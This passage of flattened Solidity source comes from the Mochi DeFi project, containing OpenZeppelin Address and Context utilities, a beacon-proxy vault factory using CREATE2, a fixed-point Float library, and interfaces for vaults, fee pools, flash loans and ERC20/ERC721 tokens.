* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
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// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Beacon.sol";
import "@mochifi/library/contracts/BeaconProxyDeployer.sol";
import "../interfaces/IMochiEngine.sol";
import "../interfaces/IMochiVaultFactory.sol";
contract MochiVaultFactory is IMochiVaultFactory {
IMochiEngine public immutable engine;
Beacon public immutable beacon;
address public template;
constructor(address _engine) {
beacon = new Beacon(address(0));
engine = IMochiEngine(_engine);
}
function updateTemplate(address _newTemplate) external override {
require(msg.sender == engine.governance(), "!gov");
address(beacon).call(abi.encode(_newTemplate));
template = _newTemplate;
}
function deployVault(address _asset)
external
override
returns (IMochiVault)
{
bytes memory initCode = abi.encodeWithSelector(
bytes4(keccak256("initialize(address)")),
_asset
);
return
IMochiVault(BeaconProxyDeployer.deploy(address(beacon), initCode));
}
function getVault(address _asset)
external
view
override
returns (IMochiVault)
{
bytes memory initCode = abi.encodeWithSelector(
bytes4(keccak256("initialize(address)")),
_asset
);
return
IMochiVault(
BeaconProxyDeployer.calculateAddress(
address(this),
address(beacon),
initCode
)
);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
contract Beacon {
address internal _implementation;
address internal immutable _CONTROLLER;
constructor(address impl) {
_implementation = impl;
_CONTROLLER = msg.sender;
}
fallback() external {
if (msg.sender != _CONTROLLER) {
// solhint-disable-next-line no-inline-assembly
assembly {
mstore(0, sload(0))
return(0, 32)
}
} else {
// solhint-disable-next-line no-inline-assembly
assembly { sstore(0, calldataload(0)) }
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./Create2BeaconMaker.sol";
library BeaconProxyDeployer {
function deploy(address beacon, bytes memory initializationCalldata)
internal
returns (address result)
{
bytes memory createCode =
abi.encodePacked(
type(Create2BeaconMaker).creationCode,
abi.encode(address(beacon), initializationCalldata)
);
bytes32 salt = bytes32(0);
// solhint-disable-next-line no-inline-assembly
assembly {
let encoded_data := add(0x20, createCode) // load initialization code.
let encoded_size := mload(createCode) // load the init code's length.
result := create2(
// call `CREATE2` w/ 4 arguments.
0, // forward any supplied endowment.
encoded_data, // pass in initialization code.
encoded_size, // pass in init code's length.
salt // pass in the salt value.
)
// pass along failure message from failed contract deployment and revert.
if iszero(result) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
}
function calculateAddress(
address deployer,
address beacon,
bytes memory initializationCalldata
) internal view returns (address addr) {
bytes memory createCode =
abi.encodePacked(
type(Create2BeaconMaker).creationCode,
abi.encode(address(beacon), initializationCalldata)
);
bytes32 salt = bytes32(0);
// get the keccak256 hash of the init code for address derivation.
bytes32 initCodeHash = keccak256(createCode);
addr = address( // derive the target deployment address.
uint160( // downcast to match the address type.
uint256( // cast to uint to truncate upper digits.
keccak256( // compute CREATE2 hash using 4 inputs.
abi.encodePacked( // pack all inputs to the hash together.
bytes1(0xff), // pass in the control character.
deployer, // pass in the address of this contract.
salt, // pass in the salt from above.
initCodeHash // pass in hash of contract creation code.
)
)
)
)
);
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/vmochi/contracts/interfaces/IVMochi.sol";
import "@mochifi/cssr/contracts/interfaces/ICSSRRouter.sol";
import "./IMochiProfile.sol";
import "./IDiscountProfile.sol";
import "./IMochiVault.sol";
import "./IFeePool.sol";
import "./IReferralFeePool.sol";
import "./ILiquidator.sol";
import "./IUSDM.sol";
import "./IMochi.sol";
import "./IMinter.sol";
import "./IMochiNFT.sol";
import "./IMochiVaultFactory.sol";
interface IMochiEngine {
function mochi() external view returns (IMochi);
function vMochi() external view returns (IVMochi);
function usdm() external view returns (IUSDM);
function cssr() external view returns (ICSSRRouter);
function governance() external view returns (address);
function treasury() external view returns (address);
function operationWallet() external view returns (address);
function mochiProfile() external view returns (IMochiProfile);
function discountProfile() external view returns (IDiscountProfile);
function feePool() external view returns (IFeePool);
function referralFeePool() external view returns (IReferralFeePool);
function liquidator() external view returns (ILiquidator);
function minter() external view returns (IMinter);
function nft() external view returns (IMochiNFT);
function vaultFactory() external view returns (IMochiVaultFactory);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./IMochiVault.sol";
interface IMochiVaultFactory {
function updateTemplate(address _template) external;
function deployVault(address _asset) external returns (IMochiVault);
function getVault(address _asset) external view returns (IMochiVault);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
contract Create2BeaconMaker {
constructor(address beacon, bytes memory initializationCalldata)
payable
{
(, bytes memory returnData) = beacon.staticcall("");
address template = abi.decode(returnData, (address));
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = template.delegatecall(initializationCalldata);
if (!success) {
// pass along failure message from delegatecall and revert.
// solhint-disable-next-line no-inline-assembly
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// place eip-1167 runtime code in memory.
bytes memory runtimeCode =
abi.encodePacked(
bytes6(0x3d3d3d3d3d73),
beacon,
bytes32(0x5afa3d82803e368260203750808036602082515af43d82803e903d91603a57fd),
bytes2(0x5bf3)
);
// return Beacon Minimal Proxy code to write it to spawned contract runtime.
// solhint-disable-next-line no-inline-assembly
assembly {
return(add(0x20, runtimeCode), 60) // Beacon Minimal Proxy runtime code, length
}
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IVMochi {
function locked(address _user) external view returns(int128, uint256);
function depositFor(address _user, uint256 _amount) external;
function balanceOf(address _user) external view returns(uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Float.sol";
interface ICSSRRouter {
function update(address _asset, bytes memory _data)
external
returns (float memory);
function getPrice(address _asset) external view returns (float memory);
function getLiquidity(address _asset) external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Float.sol";
enum AssetClass {
Invalid,
Stable,
Alpha,
Gamma,
Delta,
Zeta,
Sigma,
Revoked
}
interface IMochiProfile {
function assetClass(address _asset) external view returns (AssetClass);
function liquidityRequirement() external view returns (uint256);
function minimumDebt() external view returns (uint256);
function changeAssetClass(
address[] calldata _asset,
AssetClass[] calldata _class
) external;
function changeLiquidityRequirement(uint256 _requirement) external;
function changeMinimumDebt(uint256 _debt) external;
function calculateFeeIndex(
address _asset,
uint256 _currentIndex,
uint256 _lastAccrued
) external view returns (uint256);
function creditCap(address _asset) external view returns (uint256);
function delay() external view returns (uint256);
function liquidationFactor(address _asset)
external
view
returns (float memory);
function maxCollateralFactor(address _asset)
external
view
returns (float memory);
function stabilityFee(address _asset) external view returns (float memory);
function liquidationFee(address _asset)
external
view
returns (float memory);
function keeperFee(address _asset) external view returns (float memory);
function utilizationRatio(address _asset)
external
view
returns (float memory);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@mochifi/library/contracts/Float.sol";
interface IDiscountProfile {
function discount(address _user) external view returns (float memory);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
struct Detail {
Status status;
uint256 collateral;
uint256 debt;
uint256 debtIndex;
address referrer;
}
enum Status {
Invalid, // not minted
Idle, // debt = 0, collateral = 0
Collaterized, // debt = 0, collateral > 0
Active, // debt > 0, collateral > 0
Liquidated
}
interface IMochiVault {
function liveDebtIndex() external view returns (uint256);
function details(uint256 _nftId)
external
view
returns (
Status,
uint256 collateral,
uint256 debt,
uint256 debtIndexe,
address refferer
);
function status(uint256 _nftId) external view returns (Status);
function asset() external view returns (IERC20);
function deposits() external view returns (uint256);
function debts() external view returns (uint256);
function claimable() external view returns (int256);
function currentDebt(uint256 _nftId) external view returns (uint256);
function initialize(address _asset) external;
function deposit(uint256 _nftId, uint256 _amount) external;
function withdraw(
uint256 _nftId,
uint256 _amount,
bytes memory _data
) external;
function borrow(
uint256 _nftId,
uint256 _amount,
bytes memory _data
) external;
function repay(uint256 _nftId, uint256 _amount) external;
function liquidate(
uint256 _nftId,
uint256 _collateral,
uint256 _usdm
) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IFeePool {
function updateReserve() external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IReferralFeePool {
function addReward(address _recipient) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface ILiquidator {
event Triggered(uint256 _auctionId, uint256 _price);
event Settled(uint256 _auctionId, uint256 _price);
function triggerLiquidation(address _asset, uint256 _nftId) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IERC3156FlashLender.sol";
interface IUSDM is IERC20, IERC3156FlashLender {
function mint(address _recipient, uint256 _amount) external;
function burn(uint256 _amount) external;
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IMochi is IERC20 {}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IMinter {
function mint(address _to, uint256 _amount) external;
function hasPermission(address _user) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
interface IMochiNFT is IERC721Enumerable {
struct MochiInfo {
address asset;
}
function asset(uint256 _id) external view returns (address);
function mint(address _asset, address _owner) external returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
struct float {
uint256 numerator;
uint256 denominator;
}
library Float {
function multiply(uint256 a, float memory f) internal pure returns(uint256) {
require(f.denominator != 0, "div 0");
return a * f.numerator / f.denominator;
}
function inverse(float memory f) internal pure returns(float memory) {
require(f.numerator != 0 && f.denominator != 0, "div 0");
return float({
numerator: f.denominator,
denominator: f.numerator
});
}
function divide(uint256 a, float memory f) internal pure returns(uint256) {
require(f.denominator != 0, "div 0");
return a * f.denominator / f.numerator;
}
function add(float memory a, float memory b) internal pure returns(float memory res) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
res = float({
numerator : a.numerator*b.denominator + a.denominator*b.numerator,
denominator : a.denominator*b.denominator
});
if(res.numerator > 2**128 && res.denominator > 2**128){
res.numerator = res.numerator / 2**64;
res.denominator = res.denominator / 2**64;
}
}
function sub(float memory a, float memory b) internal pure returns(float memory res) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
res = float({
numerator : a.numerator*b.denominator - b.numerator*a.denominator,
denominator : a.denominator*b.denominator
});
if(res.numerator > 2**128 && res.denominator > 2**128){
res.numerator = res.numerator / 2**64;
res.denominator = res.denominator / 2**64;
}
}
function mul(float memory a, float memory b) internal pure returns(float memory res) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
res = float({
numerator : a.numerator * b.numerator,
denominator : a.denominator * b.denominator
});
if(res.numerator > 2**128 && res.denominator > 2**128){
res.numerator = res.numerator / 2**64;
res.denominator = res.denominator / 2**64;
}
}
function gt(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator > a.denominator * b.numerator;
}
function lt(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator < a.denominator * b.numerator;
}
function gte(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator >= a.denominator * b.numerator;
}
function lte(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator <= a.denominator * b.numerator;
}
function equals(float memory a, float memory b) internal pure returns(bool) {
require(a.denominator != 0 && b.denominator != 0, "div 0");
return a.numerator * b.denominator == b.numerator * a.denominator;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./IERC3156FlashBorrower.sol";
interface IERC3156FlashLender {
/**
* @dev The amount of currency available to be lent.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(address token) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(address token, uint256 amount)
external
view
returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
interface IERC3156FlashBorrower {
/**
* @dev Receive a flash loan.
* @param initiator The initiator of the loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param fee The additional amount of tokens to repay.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
* @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
*/
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
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// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
